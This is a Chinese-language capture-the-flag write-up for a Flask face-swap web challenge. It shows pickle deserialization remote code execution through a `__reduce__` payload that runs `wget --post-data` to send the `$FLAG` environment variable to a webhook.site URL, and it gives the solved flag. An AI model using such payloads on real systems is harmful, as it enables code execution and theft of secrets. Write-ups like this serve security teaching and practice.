---
# System prepended metadata

title: 12004-fukuwarai

---

# 12004-fukuwarai

> http://ctf.adl.tw:12004/

## Briefing
酷！換臉 web app
![](https://i.imgur.com/gutR3o1.png)

## Exploit

網站給了 sauce code，並提示我們 FLAG 在環境變數裡面
![](https://i.imgur.com/hKqB1i5.png)

看起來是使用 Flask 做後端，redis, flask_session 存使用者資料、pickle 把資料捲成一坨。

經通靈後，發現 pickle 有[任意執行漏洞](https://ithelp.ithome.com.tw/articles/10281368)：

```python
import pickle
import os

class HelloFooHow(object):
	def __reduce__(self):
    return os.system,("echo hello foohow",)
a = pickle.dumps(HelloFooHow())  
pickle.loads(a) # 會印出 hello foohow
```

檢查網站內有用到 `pickle.loads` 的地方

![](https://i.imgur.com/Wm89lLM.png)

讚！他雖然有做資料檢查，但是是在 pickle 解析資料以後。我們現在只需要把壞壞的東西(字串)放到 JSON 的 `layout` 底下就行！

這裡我們讓遠端機器把 flag 直接 POST 到遠端機器上 https://webhook.site/

```python!
class Tmp():
	def __reduce__(self):
		return (os.system, ("wget --post-data \"flag is $FLAG\" https://webhook.site/87d30580-8785-4236-b1ef-24ed29e77b70",))
```


![](https://i.imgur.com/0HbIV0q.png)


> flag: `ADL{5hi4W45e_n0_5UP4ir4Ru|https://youtu.be/BVvcQ4ge8Ow}`

![](https://i.imgur.com/y8S3BtY.gif)